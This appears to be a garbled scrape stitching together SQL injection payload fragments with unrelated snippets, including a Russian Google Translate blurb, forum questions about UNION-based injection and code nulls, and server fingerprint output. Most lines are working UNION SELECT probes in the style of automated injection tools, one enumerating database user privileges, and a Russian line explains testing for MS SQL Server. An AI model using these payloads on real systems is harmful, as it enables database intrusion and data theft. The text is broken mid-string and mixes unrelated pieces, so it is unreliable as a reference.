...NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6a7171
UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b726a71,0x6d4355476f6377717943,0x7163716d71),NULL,NULL,NULL,NULL#.
qndbq7bbxilyCzFA') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e646271,IFNULL(CAST(grantee AS CHAR),0x20),0x716a716771),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#qjqgq.
...NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162707671,0x6c6f4651416c7a514652,0x7176707171),NULL.
Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
...Null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x716b756a71
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
0x7178627071),NULL,NULL,NULL,NULL,NULL-- FkYN ---. web server operating system: Windows 2008 or Vista web application technology: ASP.NET, PHP
a) Is the code bellow "good"? b) What should I return if both are null?
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.